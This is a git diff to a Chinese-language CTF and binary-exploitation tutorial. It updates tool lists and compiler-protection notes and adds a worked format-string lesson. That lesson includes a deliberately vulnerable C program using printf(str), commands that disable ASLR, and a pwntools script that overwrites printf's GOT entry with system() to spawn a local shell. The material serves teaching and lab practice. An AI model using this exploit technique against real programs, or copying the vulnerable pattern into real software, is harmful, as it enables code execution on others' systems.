diff --git a/doc/2.1_vm.md b/doc/2.1_vm.md index 8d2ae58..4174454 100644 --- a/doc/2.1_vm.md +++ b/doc/2.1_vm.md @@ -19,7 +19,11 @@ skanlite cantata kdenlive konversation libreoffice-still thunderbird-kde k3b cup yaourt -S: -virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git +virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git radare2 binwalk burpsuite checksec + +pip3/pip2 install: + +r2pipe ``` diff --git a/doc/2.2_gdb&peda.md b/doc/2.2_gdb&peda.md index 2bedb9a..dc1673c 100644 --- a/doc/2.2_gdb&peda.md +++ b/doc/2.2_gdb&peda.md @@ -4,7 +4,7 @@ - [gdb 基本工作原理](#gdb-基本工作原理) - [gdb 基本操作](#gdb-基本操作) - [gdb-peda](#gdb-peda) -- [GEF/pwngdb](#gefpwngdb) +- [GEF/pwndbg](#gefpwndbg) ## gdb 的组成架构 @@ -80,7 +80,7 @@ $ echo "DONE! debug your program with gdb and enjoy" - `xormem` - 用一个 key 来对一个内存区域执行 XOR 操作 -## GEF/pwngdb +## GEF/pwndbg 除了 peda 外还有一些优秀的 gdb 增强工具,功能大致相同,可以看情况选用。 - [GEF](https://github.com/hugsy/gef) - Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers - [pwndbg](https://github.com/pwndbg/pwndbg) - Exploit Development and Reverse Engineering with GDB Made Easy diff --git a/doc/3.3.1_format_string.md b/doc/3.3.1_format_string.md index 0daee39..ff8d07a 100644 --- a/doc/3.3.1_format_string.md +++ b/doc/3.3.1_format_string.md @@ -7,9 +7,11 @@ ## 格式化输出函数和格式字符串 + 在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。 #### 函数 + ```c #include @@ -21,6 +23,7 @@ int snprintf(char *str, size_t size, const char *format, ...); ``` #### 转换指示符 + 字符 | 类型 | 使用 --- | --- | --- d | 4-byte | Integer @@ -30,6 +33,7 @@ s | 4-byte ptr | String c | 1-byte | Character #### 长度 + 字符 | 类型 | 使用 --- | --- | --- hh | 1-byte | char @@ -38,6 +42,7 @@ l | 4-byte | long int ll | 8-byte | long long int #### 示例 + ``` #include #include @@ -57,6 +62,7 @@ printf("%s%n", "01234", &n); // n = 5 ## 格式化字符串漏洞基本原理 + 在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子: ```c #include @@ -265,9 +271,11 @@ Hello 32 f7f95580 565555f4 ! ## 格式化字符串漏洞 + 通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。 #### 使程序崩溃 + 格式话字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。 利用类似下面的格式字符串即可触发漏洞: @@ -279,6 +287,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") - 还有可能获得的数字确实是一个地址,但是该地址是被保护的。 #### 查看栈内容 + 使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。 @@ -290,3 +299,104 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") ## CTF 中的格式化字符串漏洞 + +#### pwntools pwnlib.fmtster + +文档地址:http://pwntools.readthedocs.io/en/stable/fmtstr.html + +该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 `FmtStr` 和一个函数 `fmtstr_payload`。 + +`FmtStr` 提供了自动化的字符串漏洞利用: +```python +class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0) +``` +- execute_fmt (function):与漏洞进程进行交互的函数 +- offset (int):你控制的第一个格式化程序的偏移量 +- padlen (int):在 paylod 之前添加的 pad 的大小 +- numbwritten (int):已经写入的字节数 + +`fmtstr_payload` 用于自动生成格式化字符串 paylod: +```python +pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') +``` +- offset (int):你控制的第一个格式化程序的偏移量 +- writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got}) +- numbwritten (int):已经由 printf 函数写入的字节数 +- write_size (str):必须是 byte,short 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写(hhn,hn或n) + +我们通过一个例子来熟悉下该模块的使用:[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt) +```c +#include +void main() { + char str[1024]; + while(1) { + memset(str, '\0', 1024); + read(0, str, 1024); + printf(str); + fflush(stdout); + } +} +``` + +为了简单一点,我们关闭 ASLR,并使用下面的命令编译: +``` +# echo 0 > /proc/sys/kernel/randomize_va_space +$ gcc -m32 -fno-stack-protector -no-pie fmt.c +``` + +很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。 + +使用 gdb 调试,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了,则可以打印出 `system()` 函数的地址: +```text +gdb-peda$ b main +... +gdb-peda$ r +... +gdb-peda$ p system +$1 = {} 0xf7e17060 +``` + +完整漏洞利用代码如下: +```python +from pwn import * + +elf = ELF('./a.out') +r = process('./a.out') + +def exec_fmt(payload): + r.sendline(payload) + info = r.recv() + return info +auto = FmtStr(exec_fmt) +offset = auto.offset + +print_got = elf.got['printf'] +log.success("print_got => {}".format(hex(print_got))) + +system_addr = 0xf7e17060 +log.success("system_addr => {}".format(hex(system_addr))) + +payload = fmtstr_payload(offset, {print_got : system_addr}) +r.send(payload) +r.send('/bin/sh') +r.recv() +r.interactive() +``` + +这样就获得了 shell: +```text +$ python2 exp.py +[*] '/home/firmy/Desktop/RE4B/a.out' + Arch: i386-32-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x8048000) +[+] Starting local process './a.out': pid 15698 +[*] Found format string offset: 4 +[+] print_got => 0x804a010 +[+] system_addr => 0xf7e17060 +[*] Switching to interactive mode +$ echo "hacked!" +hacked! +``` diff --git a/doc/4.3_gcc.md b/doc/4.3_gcc.md index 4008592..6e3c57e 100644 --- a/doc/4.3_gcc.md +++ b/doc/4.3_gcc.md @@ -145,7 +145,7 @@ Partial RELRO Canary found NX enabled PIE enabled No RPATH No RU No-eXecute,表示不可执行,其原理是将数据所在的内存页标识为不可执行,如果程序产生溢出转入执行 shellcode 时,CPU 会抛出异常。其绕过方法是 ret2libc。 #### PIE -PIE(Position Independent Executable)需要配合 ASLR 来使用,以达到可执行文件的加载时地址随机化。简单来说,PIE 是编译时随机化,由编译器完成;ASLR 是加载时随机化,由操作系统完成。 +PIE(Position Independent Executable)需要配合 ASLR 来使用,以达到可执行文件的加载时地址随机化。简单来说,PIE 是编译时随机化,由编译器完成;ASLR 是加载时随机化,由操作系统完成。开启 PIE 时,编译生成的是动态库文件(Shared object)文件,而关闭 PIE 后生成可执行文件(Executable)。 我们通过实际例子来探索一下 PIE 和 ASLR: ```c @@ -154,6 +154,54 @@ void main() { printf("%p\n", main); } ``` +```text +$ gcc -m32 -pie random.c -o open-pie +$ readelf -h open-pie +ELF Header: + Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 + Class: ELF32 + Data: 2's complement, little endian + Version: 1 (current) + OS/ABI: UNIX - System V + ABI Version: 0 + Type: DYN (Shared object file) + Machine: Intel 80386 + Version: 0x1 + Entry point address: 0x400 + Start of program headers: 52 (bytes into file) + Start of section headers: 6132 (bytes into file) + Flags: 0x0 + Size of this header: 52 (bytes) + Size of program headers: 32 (bytes) + Number of program headers: 9 + Size of section headers: 40 (bytes) + Number of section headers: 30 + Section header string table index: 29 +$ gcc -m32 -no-pie random.c -o close-pie +$ readelf -h close-pie +ELF Header: + Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 + Class: ELF32 + Data: 2's complement, little endian + Version: 1 (current) + OS/ABI: UNIX - System V + ABI Version: 0 + Type: EXEC (Executable file) + Machine: Intel 80386 + Version: 0x1 + Entry point address: 0x8048310 + Start of program headers: 52 (bytes into file) + Start of section headers: 5964 (bytes into file) + Flags: 0x0 + Size of this header: 52 (bytes) + Size of program headers: 32 (bytes) + Number of program headers: 9 + Size of section headers: 40 (bytes) + Number of section headers: 30 + Section header string table index: 29 +``` +可以看到两者的不同在 `Type` 和 `Entry point address`。 + 首先我们关闭 ASLR,使用 `-pie` 进行编译: ```text # echo 0 > /proc/sys/kernel/randomize_va_space @@ -261,11 +309,11 @@ RELRO | -z now | -z lazy | -z norelro 关闭所有保护: ```text -gcc hello.c -o hello-L -fstack-protector -z execstack -no-pie -z norelro +gcc hello.c -o hello -fno-stack-protector -z execstack -no-pie -z norelro ``` 开启所有保护: ```text -gcc hello.c -o hello-S -fstack-protector-all -z noexecstack -pie -z now +gcc hello.c -o hello -fstack-protector-all -z noexecstack -pie -z now ``` - FORTIFY diff --git a/src/Others/3.3.1_fmt b/src/Others/3.3.1_fmt new file mode 100755 index 0000000..c7baaba Binary files /dev/null and b/src/Others/3.3.1_fmt differ diff --git a/src/Others/3.3.1_fmt.c b/src/Others/3.3.1_fmt.c new file mode 100644 index 0000000..b48d71a --- /dev/null +++ b/src/Others/3.3.1_fmt.c @@ -0,0 +1,10 @@ +#include +void main() { + char str[1024]; + while(1) { + memset(str, '\0', 1024); + read(0, str, 1024); + printf(str); + fflush(stdout); + } +}